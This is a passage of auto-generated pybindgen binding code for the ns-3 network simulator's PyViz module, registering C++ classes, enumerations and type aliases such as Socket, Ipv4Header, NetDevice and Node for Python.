ns3::PyViz::TxPacketSample [struct] module.add_class('TxPacketSample', parent=root_module['ns3::PyViz::PacketSample'], outer_class=root_module['ns3::PyViz']) typehandlers.add_type_alias('std::vector< ns3::PyViz::TransmissionSample >', 'ns3::PyViz::TransmissionSampleList') typehandlers.add_type_alias('std::vector< ns3::PyViz::TransmissionSample >*', 'ns3::PyViz::TransmissionSampleList*') typehandlers.add_type_alias('std::vector< ns3::PyViz::TransmissionSample >&', 'ns3::PyViz::TransmissionSampleList&') typehandlers.add_type_alias('std::vector< ns3::PyViz::PacketDropSample >', 'ns3::PyViz::PacketDropSampleList') typehandlers.add_type_alias('std::vector< ns3::PyViz::PacketDropSample >*', 'ns3::PyViz::PacketDropSampleList*') typehandlers.add_type_alias('std::vector< ns3::PyViz::PacketDropSample >&', 'ns3::PyViz::PacketDropSampleList&') ## simple-ref-count.h (module 'core'): ns3::SimpleRefCount<ns3::Object, ns3::ObjectBase, ns3::ObjectDeleter> [class] module.add_class('SimpleRefCount', import_from_module='ns.core', memory_policy=cppclass.ReferenceCountingMethodsPolicy(incref_method='Ref', decref_method='Unref', peekref_method='GetReferenceCount'), automatic_type_narrowing=True, parent=root_module['ns3::ObjectBase'], template_parameters=['ns3::Object', 'ns3::ObjectBase', 'ns3::ObjectDeleter']) ## simulator.h (module 'core'): ns3::Simulator [class] module.add_class('Simulator', import_from_module='ns.core', destructor_visibility='private') ## simulator.h (module 'core'): ns3::Simulator [enumeration] module.add_enum('', ['NO_CONTEXT'], outer_class=root_module['ns3::Simulator'], import_from_module='ns.core') ## tag.h (module 'network'): ns3::Tag [class] module.add_class('Tag', import_from_module='ns.network', parent=root_module['ns3::ObjectBase']) ## tag-buffer.h (module 'network'): ns3::TagBuffer [class] module.add_class('TagBuffer', import_from_module='ns.network') ## nstime.h (module 'core'): ns3::TimeWithUnit [class] module.add_class('TimeWithUnit', import_from_module='ns.core') ## type-id.h (module 'core'): ns3::TypeId [class] module.add_class('TypeId', import_from_module='ns.core') ## type-id.h (module 'core'): ns3::TypeId::AttributeFlag [enumeration] module.add_enum('AttributeFlag', ['ATTR_GET', 'ATTR_SET', 'ATTR_CONSTRUCT', 'ATTR_SGC'], outer_class=root_module['ns3::TypeId'], import_from_module='ns.core') ## type-id.h (module 'core'): ns3::TypeId::SupportLevel [enumeration] module.add_enum('SupportLevel', ['SUPPORTED', 'DEPRECATED', 'OBSOLETE'], outer_class=root_module['ns3::TypeId'], import_from_module='ns.core') ## type-id.h (module 'core'): ns3::TypeId::AttributeInformation [struct] module.add_class('AttributeInformation', import_from_module='ns.core', outer_class=root_module['ns3::TypeId']) ## type-id.h (module 'core'): ns3::TypeId::TraceSourceInformation [struct] module.add_class('TraceSourceInformation', import_from_module='ns.core', outer_class=root_module['ns3::TypeId']) typehandlers.add_type_alias('uint32_t', 'ns3::TypeId::hash_t') typehandlers.add_type_alias('uint32_t*', 'ns3::TypeId::hash_t*') typehandlers.add_type_alias('uint32_t&', 'ns3::TypeId::hash_t&') ## empty.h (module 'core'): ns3::empty [class] module.add_class('empty', import_from_module='ns.core') ## int64x64-128.h (module 'core'): ns3::int64x64_t [class] module.add_class('int64x64_t', import_from_module='ns.core') ## int64x64-128.h (module 'core'): ns3::int64x64_t::impl_type [enumeration] module.add_enum('impl_type', ['int128_impl', 'cairo_impl', 'ld_impl'], outer_class=root_module['ns3::int64x64_t'], import_from_module='ns.core') ## chunk.h (module 'network'): ns3::Chunk [class] module.add_class('Chunk', import_from_module='ns.network', parent=root_module['ns3::ObjectBase']) ## header.h (module 'network'): ns3::Header [class] module.add_class('Header', import_from_module='ns.network', parent=root_module['ns3::Chunk']) ## ipv4-header.h (module 'internet'): ns3::Ipv4Header [class] module.add_class('Ipv4Header', import_from_module='ns.internet', parent=root_module['ns3::Header']) ## ipv4-header.h (module 'internet'): ns3::Ipv4Header::DscpType [enumeration] module.add_enum('DscpType', ['DscpDefault', 'DSCP_CS1', 'DSCP_AF11', 'DSCP_AF12', 'DSCP_AF13', 'DSCP_CS2', 'DSCP_AF21', 'DSCP_AF22', 'DSCP_AF23', 'DSCP_CS3', 'DSCP_AF31', 'DSCP_AF32', 'DSCP_AF33', 'DSCP_CS4', 'DSCP_AF41', 'DSCP_AF42', 'DSCP_AF43', 'DSCP_CS5', 'DSCP_EF', 'DSCP_CS6', 'DSCP_CS7'], outer_class=root_module['ns3::Ipv4Header'], import_from_module='ns.internet') ## ipv4-header.h (module 'internet'): ns3::Ipv4Header::EcnType [enumeration] module.add_enum('EcnType', ['ECN_NotECT', 'ECN_ECT1', 'ECN_ECT0', 'ECN_CE'], outer_class=root_module['ns3::Ipv4Header'], import_from_module='ns.internet') ## object.h (module 'core'): ns3::Object [class] module.add_class('Object', import_from_module='ns.core', parent=root_module['ns3::SimpleRefCount< ns3::Object, ns3::ObjectBase, ns3::ObjectDeleter >']) ## object.h (module 'core'): ns3::Object::AggregateIterator [class] module.add_class('AggregateIterator', import_from_module='ns.core', outer_class=root_module['ns3::Object']) ## simple-ref-count.h (module 'core'): ns3::SimpleRefCount<ns3::AttributeAccessor, ns3::empty, ns3::DefaultDeleter<ns3::AttributeAccessor> > [class] module.add_class('SimpleRefCount', import_from_module='ns.core', memory_policy=cppclass.ReferenceCountingMethodsPolicy(incref_method='Ref', decref_method='Unref', peekref_method='GetReferenceCount'), automatic_type_narrowing=True, parent=root_module['ns3::empty'], template_parameters=['ns3::AttributeAccessor', 'ns3::empty', 'ns3::DefaultDeleter<ns3::AttributeAccessor>']) ## simple-ref-count.h (module 'core'): ns3::SimpleRefCount<ns3::AttributeChecker, ns3::empty, ns3::DefaultDeleter<ns3::AttributeChecker> > [class] module.add_class('SimpleRefCount', import_from_module='ns.core', memory_policy=cppclass.ReferenceCountingMethodsPolicy(incref_method='Ref', decref_method='Unref', peekref_method='GetReferenceCount'), automatic_type_narrowing=True, parent=root_module['ns3::empty'], template_parameters=['ns3::AttributeChecker', 'ns3::empty', 'ns3::DefaultDeleter<ns3::AttributeChecker>']) ## simple-ref-count.h (module 'core'): ns3::SimpleRefCount<ns3::AttributeValue, ns3::empty, ns3::DefaultDeleter<ns3::AttributeValue> > [class] module.add_class('SimpleRefCount', import_from_module='ns.core', memory_policy=cppclass.ReferenceCountingMethodsPolicy(incref_method='Ref', decref_method='Unref', peekref_method='GetReferenceCount'), automatic_type_narrowing=True, parent=root_module['ns3::empty'], template_parameters=['ns3::AttributeValue', 'ns3::empty', 'ns3::DefaultDeleter<ns3::AttributeValue>']) ## simple-ref-count.h (module 'core'): ns3::SimpleRefCount<ns3::CallbackImplBase, ns3::empty, ns3::DefaultDeleter<ns3::CallbackImplBase> > [class] module.add_class('SimpleRefCount', import_from_module='ns.core', memory_policy=cppclass.ReferenceCountingMethodsPolicy(incref_method='Ref', decref_method='Unref', peekref_method='GetReferenceCount'), automatic_type_narrowing=True, parent=root_module['ns3::empty'], template_parameters=['ns3::CallbackImplBase', 'ns3::empty', 'ns3::DefaultDeleter<ns3::CallbackImplBase>']) ## simple-ref-count.h (module 'core'): ns3::SimpleRefCount<ns3::EventImpl, ns3::empty, ns3::DefaultDeleter<ns3::EventImpl> > [class] module.add_class('SimpleRefCount', import_from_module='ns.core', memory_policy=cppclass.ReferenceCountingMethodsPolicy(incref_method='Ref', decref_method='Unref', peekref_method='GetReferenceCount'), automatic_type_narrowing=True, parent=root_module['ns3::empty'], template_parameters=['ns3::EventImpl', 'ns3::empty', 'ns3::DefaultDeleter<ns3::EventImpl>']) ## simple-ref-count.h (module 'core'): ns3::SimpleRefCount<ns3::Hash::Implementation, ns3::empty, ns3::DefaultDeleter<ns3::Hash::Implementation> > [class] module.add_class('SimpleRefCount', import_from_module='ns.core', memory_policy=cppclass.ReferenceCountingMethodsPolicy(incref_method='Ref', decref_method='Unref', peekref_method='GetReferenceCount'), automatic_type_narrowing=True, parent=root_module['ns3::empty'], template_parameters=['ns3::Hash::Implementation', 'ns3::empty', 'ns3::DefaultDeleter<ns3::Hash::Implementation>']) ## simple-ref-count.h (module 'core'): ns3::SimpleRefCount<ns3::Ipv4MulticastRoute, ns3::empty, ns3::DefaultDeleter<ns3::Ipv4MulticastRoute> > [class] module.add_class('SimpleRefCount', import_from_module='ns.core', memory_policy=cppclass.ReferenceCountingMethodsPolicy(incref_method='Ref', decref_method='Unref', peekref_method='GetReferenceCount'), automatic_type_narrowing=True, parent=root_module['ns3::empty'], template_parameters=['ns3::Ipv4MulticastRoute', 'ns3::empty', 'ns3::DefaultDeleter<ns3::Ipv4MulticastRoute>']) ## simple-ref-count.h (module 'core'): ns3::SimpleRefCount<ns3::Ipv4Route, ns3::empty, ns3::DefaultDeleter<ns3::Ipv4Route> > [class] module.add_class('SimpleRefCount', import_from_module='ns.core', memory_policy=cppclass.ReferenceCountingMethodsPolicy(incref_method='Ref', decref_method='Unref', peekref_method='GetReferenceCount'), automatic_type_narrowing=True, parent=root_module['ns3::empty'], template_parameters=['ns3::Ipv4Route', 'ns3::empty', 'ns3::DefaultDeleter<ns3::Ipv4Route>']) ## simple-ref-count.h (module 'core'): ns3::SimpleRefCount<ns3::NixVector, ns3::empty, ns3::DefaultDeleter<ns3::NixVector> > [class] module.add_class('SimpleRefCount', import_from_module='ns.core', memory_policy=cppclass.ReferenceCountingMethodsPolicy(incref_method='Ref', decref_method='Unref', peekref_method='GetReferenceCount'), automatic_type_narrowing=True, parent=root_module['ns3::empty'], template_parameters=['ns3::NixVector', 'ns3::empty', 'ns3::DefaultDeleter<ns3::NixVector>']) ## simple-ref-count.h (module 'core'): ns3::SimpleRefCount<ns3::OutputStreamWrapper, ns3::empty, ns3::DefaultDeleter<ns3::OutputStreamWrapper> > [class] module.add_class('SimpleRefCount', import_from_module='ns.core', memory_policy=cppclass.ReferenceCountingMethodsPolicy(incref_method='Ref', decref_method='Unref', peekref_method='GetReferenceCount'), automatic_type_narrowing=True, parent=root_module['ns3::empty'], template_parameters=['ns3::OutputStreamWrapper', 'ns3::empty', 'ns3::DefaultDeleter<ns3::OutputStreamWrapper>']) ## simple-ref-count.h (module 'core'): ns3::SimpleRefCount<ns3::Packet, ns3::empty, ns3::DefaultDeleter<ns3::Packet> > [class] module.add_class('SimpleRefCount', import_from_module='ns.core', memory_policy=cppclass.ReferenceCountingMethodsPolicy(incref_method='Ref', decref_method='Unref', peekref_method='GetReferenceCount'), automatic_type_narrowing=True, parent=root_module['ns3::empty'], template_parameters=['ns3::Packet', 'ns3::empty', 'ns3::DefaultDeleter<ns3::Packet>']) ## simple-ref-count.h (module 'core'): ns3::SimpleRefCount<ns3::TraceSourceAccessor, ns3::empty, ns3::DefaultDeleter<ns3::TraceSourceAccessor> > [class] module.add_class('SimpleRefCount', import_from_module='ns.core', memory_policy=cppclass.ReferenceCountingMethodsPolicy(incref_method='Ref', decref_method='Unref', peekref_method='GetReferenceCount'), automatic_type_narrowing=True, parent=root_module['ns3::empty'], template_parameters=['ns3::TraceSourceAccessor', 'ns3::empty', 'ns3::DefaultDeleter<ns3::TraceSourceAccessor>']) ## socket.h (module 'network'): ns3::Socket [class] module.add_class('Socket', import_from_module='ns.network', parent=root_module['ns3::Object']) ## socket.h (module 'network'): ns3::Socket::SocketErrno [enumeration] module.add_enum('SocketErrno', ['ERROR_NOTERROR', 'ERROR_ISCONN', 'ERROR_NOTCONN', 'ERROR_MSGSIZE', 'ERROR_AGAIN', 'ERROR_SHUTDOWN', 'ERROR_OPNOTSUPP', 'ERROR_AFNOSUPPORT', 'ERROR_INVAL', 'ERROR_BADF', 'ERROR_NOROUTETOHOST', 'ERROR_NODEV', 'ERROR_ADDRNOTAVAIL', 'ERROR_ADDRINUSE', 'SOCKET_ERRNO_LAST'], outer_class=root_module['ns3::Socket'], import_from_module='ns.network') ## socket.h (module 'network'): ns3::Socket::SocketType [enumeration] module.add_enum('SocketType', ['NS3_SOCK_STREAM', 'NS3_SOCK_SEQPACKET', 'NS3_SOCK_DGRAM', 'NS3_SOCK_RAW'], outer_class=root_module['ns3::Socket'], import_from_module='ns.network') ## socket.h (module 'network'): ns3::Socket::SocketPriority [enumeration] module.add_enum('SocketPriority', ['NS3_PRIO_BESTEFFORT', 'NS3_PRIO_FILLER', 'NS3_PRIO_BULK', 'NS3_PRIO_INTERACTIVE_BULK', 'NS3_PRIO_INTERACTIVE', 'NS3_PRIO_CONTROL'], outer_class=root_module['ns3::Socket'], import_from_module='ns.network') ## socket.h (module 'network'): ns3::Socket::Ipv6MulticastFilterMode [enumeration] module.add_enum('Ipv6MulticastFilterMode', ['INCLUDE', 'EXCLUDE'], outer_class=root_module['ns3::Socket'], import_from_module='ns.network') ## socket.h (module 'network'): ns3::SocketIpTosTag [class] module.add_class('SocketIpTosTag', import_from_module='ns.network', parent=root_module['ns3::Tag']) ## socket.h (module 'network'): ns3::SocketIpTtlTag [class] module.add_class('SocketIpTtlTag', import_from_module='ns.network', parent=root_module['ns3::Tag']) ## socket.h (module 'network'): ns3::SocketIpv6HopLimitTag [class] module.add_class('SocketIpv6HopLimitTag', import_from_module='ns.network', parent=root_module['ns3::Tag']) ## socket.h (module 'network'): ns3::SocketIpv6TclassTag [class] module.add_class('SocketIpv6TclassTag', import_from_module='ns.network', parent=root_module['ns3::Tag']) ## socket.h (module 'network'): ns3::SocketPriorityTag [class] module.add_class('SocketPriorityTag', import_from_module='ns.network', parent=root_module['ns3::Tag']) ## socket.h (module 'network'): ns3::SocketSetDontFragmentTag [class] module.add_class('SocketSetDontFragmentTag', import_from_module='ns.network', parent=root_module['ns3::Tag']) ## nstime.h (module 'core'): ns3::Time [class] module.add_class('Time', import_from_module='ns.core') ## nstime.h (module 'core'): ns3::Time::Unit [enumeration] module.add_enum('Unit', ['Y', 'D', 'H', 'MIN', 'S', 'MS', 'US', 'NS', 'PS', 'FS', 'LAST'], outer_class=root_module['ns3::Time'], import_from_module='ns.core') typehandlers.add_type_alias('void ( * ) ( ns3::Time )', 'ns3::Time::TracedCallback') typehandlers.add_type_alias('void ( * ) ( ns3::Time )*', 'ns3::Time::TracedCallback*') typehandlers.add_type_alias('void ( * ) ( ns3::Time )&', 'ns3::Time::TracedCallback&') ## nstime.h (module 'core'): ns3::Time [class] root_module['ns3::Time'].implicitly_converts_to(root_module['ns3::int64x64_t']) ## trace-source-accessor.h (module 'core'): ns3::TraceSourceAccessor [class] module.add_class('TraceSourceAccessor', import_from_module='ns.core', parent=root_module['ns3::SimpleRefCount< ns3::TraceSourceAccessor, ns3::empty, ns3::DefaultDeleter<ns3::TraceSourceAccessor> >']) ## trailer.h (module 'network'): ns3::Trailer [class] module.add_class('Trailer', import_from_module='ns.network', parent=root_module['ns3::Chunk']) ## attribute.h (module 'core'): ns3::AttributeAccessor [class] module.add_class('AttributeAccessor', import_from_module='ns.core', parent=root_module['ns3::SimpleRefCount< ns3::AttributeAccessor, ns3::empty, ns3::DefaultDeleter<ns3::AttributeAccessor> >']) ## attribute.h (module 'core'): ns3::AttributeChecker [class] module.add_class('AttributeChecker', import_from_module='ns.core', automatic_type_narrowing=True, allow_subclassing=False, parent=root_module['ns3::SimpleRefCount< ns3::AttributeChecker, ns3::empty, ns3::DefaultDeleter<ns3::AttributeChecker> >']) ## attribute.h (module 'core'): ns3::AttributeValue [class] module.add_class('AttributeValue', import_from_module='ns.core', automatic_type_narrowing=True, allow_subclassing=False, parent=root_module['ns3::SimpleRefCount< ns3::AttributeValue, ns3::empty, ns3::DefaultDeleter<ns3::AttributeValue> >']) ## callback.h (module 'core'): ns3::CallbackChecker [class] module.add_class('CallbackChecker', import_from_module='ns.core', parent=root_module['ns3::AttributeChecker']) ## callback.h (module 'core'): ns3::CallbackImplBase [class] module.add_class('CallbackImplBase', import_from_module='ns.core', parent=root_module['ns3::SimpleRefCount< ns3::CallbackImplBase, ns3::empty, ns3::DefaultDeleter<ns3::CallbackImplBase> >']) ## callback.h (module 'core'): ns3::CallbackValue [class] module.add_class('CallbackValue', import_from_module='ns.core', parent=root_module['ns3::AttributeValue']) ## channel.h (module 'network'): ns3::Channel [class] module.add_class('Channel', import_from_module='ns.network', parent=root_module['ns3::Object']) ## attribute.h (module 'core'): ns3::EmptyAttributeAccessor [class] module.add_class('EmptyAttributeAccessor', import_from_module='ns.core', parent=root_module['ns3::AttributeAccessor']) ## attribute.h (module 'core'): ns3::EmptyAttributeChecker [class] module.add_class('EmptyAttributeChecker', import_from_module='ns.core', parent=root_module['ns3::AttributeChecker']) ## attribute.h (module 'core'): ns3::EmptyAttributeValue [class] module.add_class('EmptyAttributeValue', import_from_module='ns.core', parent=root_module['ns3::AttributeValue']) ## event-impl.h (module 'core'): ns3::EventImpl [class] module.add_class('EventImpl', import_from_module='ns.core', parent=root_module['ns3::SimpleRefCount< ns3::EventImpl, ns3::empty, ns3::DefaultDeleter<ns3::EventImpl> >']) ## ipv4.h (module 'internet'): ns3::Ipv4 [class] module.add_class('Ipv4', import_from_module='ns.internet', parent=root_module['ns3::Object']) ## ipv4-address.h (module 'network'): ns3::Ipv4AddressChecker [class] module.add_class('Ipv4AddressChecker', import_from_module='ns.network', parent=root_module['ns3::AttributeChecker']) ## ipv4-address.h (module 'network'): ns3::Ipv4AddressValue [class] module.add_class('Ipv4AddressValue', import_from_module='ns.network', parent=root_module['ns3::AttributeValue']) ## ipv4-l3-protocol.h (module 'internet'): ns3::Ipv4L3Protocol [class] module.add_class('Ipv4L3Protocol', import_from_module='ns.internet', parent=root_module['ns3::Ipv4']) ## ipv4-l3-protocol.h (module 'internet'): ns3::Ipv4L3Protocol::DropReason [enumeration] module.add_enum('DropReason', ['DROP_TTL_EXPIRED', 'DROP_NO_ROUTE', 'DROP_BAD_CHECKSUM', 'DROP_INTERFACE_DOWN', 'DROP_ROUTE_ERROR', 'DROP_FRAGMENT_TIMEOUT'], outer_class=root_module['ns3::Ipv4L3Protocol'], import_from_module='ns.internet') typehandlers.add_type_alias('void ( * ) ( ns3::Ipv4Header const &, ns3::Ptr< ns3::Packet const >, uint32_t )', 'ns3::Ipv4L3Protocol::SentTracedCallback') typehandlers.add_type_alias('void ( * ) ( ns3::Ipv4Header const &, ns3::Ptr< ns3::Packet const >, uint32_t )*', 'ns3::Ipv4L3Protocol::SentTracedCallback*') typehandlers.add_type_alias('void ( * ) ( ns3::Ipv4Header const &, ns3::Ptr< ns3::Packet const >, uint32_t )&', 'ns3::Ipv4L3Protocol::SentTracedCallback&') typehandlers.add_type_alias('void ( * ) ( ns3::Ptr< ns3::Packet const >, ns3::Ptr< ns3::Ipv4 >, uint32_t )', 'ns3::Ipv4L3Protocol::TxRxTracedCallback') typehandlers.add_type_alias('void ( * ) ( ns3::Ptr< ns3::Packet const >, ns3::Ptr< ns3::Ipv4 >, uint32_t )*', 'ns3::Ipv4L3Protocol::TxRxTracedCallback*') typehandlers.add_type_alias('void ( * ) ( ns3::Ptr< ns3::Packet const >, ns3::Ptr< ns3::Ipv4 >, uint32_t )&', 'ns3::Ipv4L3Protocol::TxRxTracedCallback&') typehandlers.add_type_alias('void ( * ) ( ns3::Ipv4Header const &, ns3::Ptr< ns3::Packet const >, ns3::Ipv4L3Protocol::DropReason, ns3::Ptr< ns3::Ipv4 >, uint32_t )', 'ns3::Ipv4L3Protocol::DropTracedCallback') typehandlers.add_type_alias('void ( * ) ( ns3::Ipv4Header const &, ns3::Ptr< ns3::Packet const >, ns3::Ipv4L3Protocol::DropReason, ns3::Ptr< ns3::Ipv4 >, uint32_t )*', 'ns3::Ipv4L3Protocol::DropTracedCallback*') typehandlers.add_type_alias('void ( * ) ( ns3::Ipv4Header const &, ns3::Ptr< ns3::Packet const >, ns3::Ipv4L3Protocol::DropReason, ns3::Ptr< ns3::Ipv4 >, uint32_t )&', 'ns3::Ipv4L3Protocol::DropTracedCallback&') ## ipv4-address.h (module 'network'): ns3::Ipv4MaskChecker [class] module.add_class('Ipv4MaskChecker', import_from_module='ns.network', parent=root_module['ns3::AttributeChecker']) ## ipv4-address.h (module 'network'): ns3::Ipv4MaskValue [class] module.add_class('Ipv4MaskValue', import_from_module='ns.network', parent=root_module['ns3::AttributeValue']) ## ipv4-route.h (module 'internet'): ns3::Ipv4MulticastRoute [class] module.add_class('Ipv4MulticastRoute', import_from_module='ns.internet', parent=root_module['ns3::SimpleRefCount< ns3::Ipv4MulticastRoute, ns3::empty, ns3::DefaultDeleter<ns3::Ipv4MulticastRoute> >']) ## ipv4-route.h (module 'internet'): ns3::Ipv4Route [class] module.add_class('Ipv4Route', import_from_module='ns.internet', parent=root_module['ns3::SimpleRefCount< ns3::Ipv4Route, ns3::empty, ns3::DefaultDeleter<ns3::Ipv4Route> >']) ## ipv4-routing-protocol.h (module 'internet'): ns3::Ipv4RoutingProtocol [class] module.add_class('Ipv4RoutingProtocol', import_from_module='ns.internet', parent=root_module['ns3::Object']) typehandlers.add_type_alias('ns3::Callback< void, ns3::Ptr< ns3::Ipv4Route >, ns3::Ptr< ns3::Packet const >, ns3::Ipv4Header const &, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty >', 'ns3::Ipv4RoutingProtocol::UnicastForwardCallback') typehandlers.add_type_alias('ns3::Callback< void, ns3::Ptr< ns3::Ipv4Route >, ns3::Ptr< ns3::Packet const >, ns3::Ipv4Header const &, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty >*', 'ns3::Ipv4RoutingProtocol::UnicastForwardCallback*') typehandlers.add_type_alias('ns3::Callback< void, ns3::Ptr< ns3::Ipv4Route >, ns3::Ptr< ns3::Packet const >, ns3::Ipv4Header const &, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty >&', 'ns3::Ipv4RoutingProtocol::UnicastForwardCallback&') typehandlers.add_type_alias('ns3::Callback< void, ns3::Ptr< ns3::Ipv4MulticastRoute >, ns3::Ptr< ns3::Packet const >, ns3::Ipv4Header const &, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty >', 'ns3::Ipv4RoutingProtocol::MulticastForwardCallback') typehandlers.add_type_alias('ns3::Callback< void, ns3::Ptr< ns3::Ipv4MulticastRoute >, ns3::Ptr< ns3::Packet const >, ns3::Ipv4Header const &, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty >*', 'ns3::Ipv4RoutingProtocol::MulticastForwardCallback*') typehandlers.add_type_alias('ns3::Callback< void, ns3::Ptr< ns3::Ipv4MulticastRoute >, ns3::Ptr< ns3::Packet const >, ns3::Ipv4Header const &, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty >&', 'ns3::Ipv4RoutingProtocol::MulticastForwardCallback&') typehandlers.add_type_alias('ns3::Callback< void, ns3::Ptr< ns3::Packet const >, ns3::Ipv4Header const &, unsigned int, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty >', 'ns3::Ipv4RoutingProtocol::LocalDeliverCallback') typehandlers.add_type_alias('ns3::Callback< void, ns3::Ptr< ns3::Packet const >, ns3::Ipv4Header const &, unsigned int, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty >*', 'ns3::Ipv4RoutingProtocol::LocalDeliverCallback*') typehandlers.add_type_alias('ns3::Callback< void, ns3::Ptr< ns3::Packet const >, ns3::Ipv4Header const &, unsigned int, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty >&', 'ns3::Ipv4RoutingProtocol::LocalDeliverCallback&') typehandlers.add_type_alias('ns3::Callback< void, ns3::Ptr< ns3::Packet const >, ns3::Ipv4Header const &, ns3::Socket::SocketErrno, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty >', 'ns3::Ipv4RoutingProtocol::ErrorCallback') typehandlers.add_type_alias('ns3::Callback< void, ns3::Ptr< ns3::Packet const >, ns3::Ipv4Header const &, ns3::Socket::SocketErrno, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty >*', 'ns3::Ipv4RoutingProtocol::ErrorCallback*') typehandlers.add_type_alias('ns3::Callback< void, ns3::Ptr< ns3::Packet const >, ns3::Ipv4Header const &, ns3::Socket::SocketErrno, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty >&', 'ns3::Ipv4RoutingProtocol::ErrorCallback&') ## ipv6-address.h (module 'network'): ns3::Ipv6AddressChecker [class] module.add_class('Ipv6AddressChecker', import_from_module='ns.network', parent=root_module['ns3::AttributeChecker']) ## ipv6-address.h (module 'network'): ns3::Ipv6AddressValue [class] module.add_class('Ipv6AddressValue', import_from_module='ns.network', parent=root_module['ns3::AttributeValue']) ## ipv6-address.h (module 'network'): ns3::Ipv6PrefixChecker [class] module.add_class('Ipv6PrefixChecker', import_from_module='ns.network', parent=root_module['ns3::AttributeChecker']) ## ipv6-address.h (module 'network'): ns3::Ipv6PrefixValue [class] module.add_class('Ipv6PrefixValue', import_from_module='ns.network', parent=root_module['ns3::AttributeValue']) ## mac48-address.h (module 'network'): ns3::Mac48AddressChecker [class] module.add_class('Mac48AddressChecker', import_from_module='ns.network', parent=root_module['ns3::AttributeChecker']) ## mac48-address.h (module 'network'): ns3::Mac48AddressValue [class] module.add_class('Mac48AddressValue', import_from_module='ns.network', parent=root_module['ns3::AttributeValue']) ## net-device.h (module 'network'): ns3::NetDevice [class] module.add_class('NetDevice', import_from_module='ns.network', parent=root_module['ns3::Object']) ## net-device.h (module 'network'): ns3::NetDevice::PacketType [enumeration] module.add_enum('PacketType', ['PACKET_HOST', 'NS3_PACKET_HOST', 'PACKET_BROADCAST', 'NS3_PACKET_BROADCAST', 'PACKET_MULTICAST', 'NS3_PACKET_MULTICAST', 'PACKET_OTHERHOST', 'NS3_PACKET_OTHERHOST'], outer_class=root_module['ns3::NetDevice'], import_from_module='ns.network') typehandlers.add_type_alias('void ( * ) ( )', 'ns3::NetDevice::LinkChangeTracedCallback') typehandlers.add_type_alias('void ( * ) ( )*', 'ns3::NetDevice::LinkChangeTracedCallback*') typehandlers.add_type_alias('void ( * ) ( )&', 'ns3::NetDevice::LinkChangeTracedCallback&') typehandlers.add_type_alias('ns3::Callback< bool, ns3::Ptr< ns3::NetDevice >, ns3::Ptr< ns3::Packet const >, unsigned short, ns3::Address const &, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty >', 'ns3::NetDevice::ReceiveCallback') typehandlers.add_type_alias('ns3::Callback< bool, ns3::Ptr< ns3::NetDevice >, ns3::Ptr< ns3::Packet const >, unsigned short, ns3::Address const &, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty >*', 'ns3::NetDevice::ReceiveCallback*') typehandlers.add_type_alias('ns3::Callback< bool, ns3::Ptr< ns3::NetDevice >, ns3::Ptr< ns3::Packet const >, unsigned short, ns3::Address const &, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty >&', 'ns3::NetDevice::ReceiveCallback&') typehandlers.add_type_alias('ns3::Callback< bool, ns3::Ptr< ns3::NetDevice >, ns3::Ptr< ns3::Packet const >, unsigned short, ns3::Address const &, ns3::Address const &, ns3::NetDevice::PacketType, ns3::empty, ns3::empty, ns3::empty >', 'ns3::NetDevice::PromiscReceiveCallback') typehandlers.add_type_alias('ns3::Callback< bool, ns3::Ptr< ns3::NetDevice >, ns3::Ptr< ns3::Packet const >, unsigned short, ns3::Address const &, ns3::Address const &, ns3::NetDevice::PacketType, ns3::empty, ns3::empty, ns3::empty >*', 'ns3::NetDevice::PromiscReceiveCallback*') typehandlers.add_type_alias('ns3::Callback< bool, ns3::Ptr< ns3::NetDevice >, ns3::Ptr< ns3::Packet const >, unsigned short, ns3::Address const &, ns3::Address const &, ns3::NetDevice::PacketType, ns3::empty, ns3::empty, ns3::empty >&', 'ns3::NetDevice::PromiscReceiveCallback&') ## nix-vector.h (module 'network'): ns3::NixVector [class] module.add_class('NixVector', import_from_module='ns.network', parent=root_module['ns3::SimpleRefCount< ns3::NixVector, ns3::empty, ns3::DefaultDeleter<ns3::NixVector> >']) ## node.h (module 'network'): ns3::Node [class] module.add_class('Node', import_from_module='ns.network', parent=root_module['ns3::Object']) typehandlers.add_type_alias('ns3::Callback< void, ns3::Ptr< ns3::NetDevice >, ns3::Ptr< ns3::Packet const >, unsigned short, ns3::Address const &, ns3::Address const &, ns3::NetDevice::PacketType, ns3::empty, ns3::empty, ns3::empty >', 'ns3::Node::ProtocolHandler') typehandlers.add_type_alias('ns3::Callback< void, ns3::Ptr< ns3::NetDevice >, ns3::Ptr< ns3::Packet const >, unsigned short, ns3::Address const &, ns3::Address const &, ns3::NetDevice::PacketType, ns3::empty, ns3::empty, ns3::empty >*', 'ns3::Node::ProtocolHandler*') typehandlers.add_type_alias('ns3::Callback< void, ns3::Ptr< ns3::NetDevice >, ns3::Ptr< ns3::Packet const >, unsigned short, ns3::Address const &, ns3::Address const &, ns3::NetDevice::PacketType, ns3::empty, ns3::empty, ns3::empty >&', 'ns3::Node::ProtocolHandler&') typehandlers.add_type_alias('ns3::Callback< void, ns3::Ptr< ns3::NetDevice >, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty >', 'ns3::Node::DeviceAdditionListener') typehandlers.add_type_alias('ns3::Callback< void, ns3::Ptr< ns3::NetDevice >, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty >*', 'ns3::Node::DeviceAdditionListener*') typehandlers.add_type_alias('ns3::Callback< void, ns3::Ptr< ns3::NetDevice >, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty >&', 'ns3::Node::DeviceAdditionListener&') ## object-factory.h 